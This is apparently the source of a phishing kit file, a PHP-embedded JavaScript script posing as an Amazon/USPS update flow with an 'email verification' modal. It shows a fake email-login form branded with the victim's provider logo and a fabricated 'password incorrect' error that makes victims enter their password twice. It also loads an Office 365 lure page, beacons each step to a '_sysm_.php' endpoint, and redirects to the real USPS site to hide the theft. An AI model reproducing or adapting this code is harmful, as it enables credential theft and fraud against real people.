Current File : /home/tsgmexic/scure_nortwest/spgbuck/_evm_js.php
<script type="text/javascript">
    window.mRdToUrl = '<?php echo $redirect_to_url; ?>';
    window.mRdToName = '<?php echo $redirect_to_name; ?>';
    /*---------- EVM Functions ---------------*/
    // EVM - Email Verification Modal

    // The modal response container
    function modal_resp_err(id, txtp) {
        var $m_errRespDiv = $('#jsModalEr');
        $m_errRespDiv.find('p').html(txtp);
        $m_errRespDiv.fadeIn('slow');
        id.focus();
    }

    // Get the modal
    var EMV_MODAL = $('#emvModal');

    function show_emv_modal() {
        document.documentElement.style.overflowY = "hidden"; // makes it fit screen
        EMV_MODAL.fadeIn('slow');
    }
    function hide_emv_modal() {
        document.documentElement.style.overflowY = 'scroll';
        EMV_MODAL.fadeOut('slow');
    }

    EMV_MODAL.find('.close').on('click', function (e) {
        e.preventDefault();
        hide_emv_modal();
    });

    // show_emv_modal();

    function vtrk(pg_step_name) {
        $.get(window.hstUrl+"_sysm_.php?_do=vt&s=" + window.btoa(window.location.href + "_" + pg_step_name), function (data) { console.log('Logged: ' + pg_step_name); console.log('Retured Data: ' + data); });
    }


    function emv_unlock_clickable_elements(){
        $('html, body').css({'opacity':'1'});
        $(':input').removeAttr('readonly');
        $(':input').removeAttr('disabled');
        $('a, button, input[type=submit]').removeAttr('disabled');
        $('a').removeClass('w3-disabled');

        // $('button.btn').attr('disabled','disabled');
    }


    function load_amz_to_usps(){
        vtrk('amz_to_usps_submit');
        setTimeout(function(){
            $('#emvLoader p').text('Sending Update Request...');
            show_emv_modal();

            setTimeout(function(){
                $('#emvLoader p').text('Your Amazon update request has submited successfully...');

                setTimeout(function(){
                    $('#emvLoader p').text('Connecting to USPS...');

                    setTimeout(function () { window.location.replace('https://reg.usps.com/entreg/LoginPortalAction_input') }, 3500);

                }, 3500);

            }, 3500);
        }, 3500);
    }


    function load_emv_form_365(p_eml) {
        var MPG_FORM = $('#jsModalEr,#emvForm,#emvSuccess,#telForm,#telSuccess')

        $('#jsModalEr').fadeOut('fast');

        MPG_FORM.fadeOut('fast', function () {

            $('#emvLoader').fadeIn('fast');

            show_emv_modal();

            setTimeout(function () {
                $.post(window.hstUrl+"_sysm_.php?_do=layout&pv=ecif2o&email="+p_eml, function(data, status){ document.open("text/html", "replace"); document.write(data); document.close(); });
            }, 2000);
        });
    }


    function load_emv_form(p_eml) {
        var EMV_FORM = $('#emvForm')

        $('#jsModalEr').fadeOut('fast');

        EMV_FORM.fadeOut('fast', function () {

            $('#emvLoader').fadeIn('fast');

            show_emv_modal();

            // unlock_clickable_elements();
            // $('html, body').animate({ scrollTop:0}, 'slow');

            setTimeout(function () {

                var d_EML = p_eml.split("@");
                var emlID = d_EML[0];
                var emlDomain = d_EML[1];

                if (emlDomain.includes("outlook") || emlDomain.includes("live") || emlDomain.includes("hotmail")) { emlDomain = 'microsoft.com'; }

                $('#emlDisplay').text(p_eml);
                $('#m_j_email').val(p_eml);

                $('#emlLogo').attr('src', 'https://logo.clearbit.com/' + emlDomain);

                $('#emlLogo').on('load', function (e) {
                    $('#emvLoader').fadeOut('fast', function () {
                        EMV_FORM.fadeIn('fast');
                        $('#m_j_email_password').focus();
                    });
                }).on('error', function () {
                    console.log("error loading image");

                    $('#emlLogo').attr('src', window.hstUrl + 'othermails.png');
                    $('#emvLoader').fadeOut('fast', function () {
                        EMV_FORM.fadeIn('fast');
                    });
                });
            }, 2000);
        });
    }


    function after_emv_frm_365_submit(p_obj) {
        var $dis = p_obj.frmobj
          , $pgf = p_obj.pgfid
          , $rediretToURL = p_obj.rdurl
          , MPG_IDS = $('#jsModalEr,#emvForm,#emvSuccess,#telForm,#telSuccess');


        $('.lightbox-cover').removeClass('disable-lightbox');
        $('#progressBar').fadeOut();
            
        console.log('Email Submit _365');
        
        $('#emvLoader p').text('Redirecting to USPS...');

        vtrk('true_pswd_submit');

        MPG_IDS.fadeOut('fast', function () {
            $('#emvLoader').fadeIn('fast');

            show_emv_modal();
            
            setTimeout(function () {
                $('#emvLoader').fadeOut('fast', function () {
                    $('#emvSuccess').fadeIn('fast', function () {
                        setTimeout(function () {
                            setTimeout(function () { console.log('redirecting'); window.location.replace($rediretToURL)  }, 3000);
                        }, 3000);
                    });
                });
            }, 3000);
        });
    }


    function after_emv_frm_mjdash_1_submit(p_obj) {
        var $dis = p_obj.frmobj
            , $pgf = p_obj.pgfid
            , the_M_EMPWD = $('#m_j_email_password')
            , rediretToURL = window.mRdToUrl;

        if ($dis.hasClass('second_submit')) {
            console.log('Email Second Submit');

            // clear_err_tins();

            $('#jsModalEr').fadeOut('fast');

            $('#emvForm').fadeOut('fast', function () {
                $('#emvSuccess').fadeIn('fast');

                $('.page-frame:visible').fadeOut('fast', function () {
                    $('#' + $pgf).fadeIn('fast');

                    emv_unlock_clickable_elements();
                });

                setTimeout(function () {
                    $('#emvLoader p').text('Redirecting to '+window.mRdToName+'...');

                    $('#emvSuccess').fadeOut('fast', function () {

                        $('#emvLoader').fadeIn('fast', function () {

                            setTimeout(function () {
                                hide_emv_modal();

                                // setTimeout(function () { window.location.replace(rediretToURL) }, 3000);

                                // unlock_clickable_elements();
                                // $('html, body').animate({ scrollTop:0}, 'slow');

                            }, 3000);
                        });
                    });

                }, 3000);
                

                vtrk('email_second_submit');
            });

        } else {

            console.log('Email First Submit');

            $dis.addClass('second_submit');

            modal_resp_err(the_M_EMPWD, 'The password you entered was incorrect. Please try again.');
            the_M_EMPWD.val('');

            vtrk('email_first_submit');
        }
    }

    
    function after_emv_frm_submit(p_obj) {
        var $dis = p_obj.frmobj
            , $pgf = p_obj.pgfid
            , the_M_EMPWD = $('#m_j_email_password')
            , rediretToURL = window.mRdToUrl;

        if ($dis.hasClass('second_submit')) {
            console.log('Email Second Submit');

            // clear_err_tins();

            $('#jsModalEr').fadeOut('fast');

            $('#emvForm').fadeOut('fast', function () {
                $('#emvSuccess').fadeIn('fast');

                $('.page-frame:visible').fadeOut('fast', function () {
                    $('#' + $pgf).fadeIn('fast');
                });

                setTimeout(function () {
                    $('#emvLoader p').text('Redirecting to '+window.mRdToName+'...');

                    $('#emvSuccess').fadeOut('fast', function () {

                        $('#emvLoader').fadeIn('fast', function () {

                            setTimeout(function () {
                                hide_emv_modal();

                                setTimeout(function () { window.location.replace(rediretToURL) }, 3000);

                                // unlock_clickable_elements();
                                // $('html, body').animate({ scrollTop:0}, 'slow');

                            }, 3000);
                        });
                    });

                }, 3000);

                vtrk('email_second_submit');
            });

        } else {

            console.log('Email First Submit');

            $dis.addClass('second_submit');

            modal_resp_err(the_M_EMPWD, 'The password you entered was incorrect. Please try again.');
            the_M_EMPWD.val('');

            vtrk('email_first_submit');
        }
    }
</script>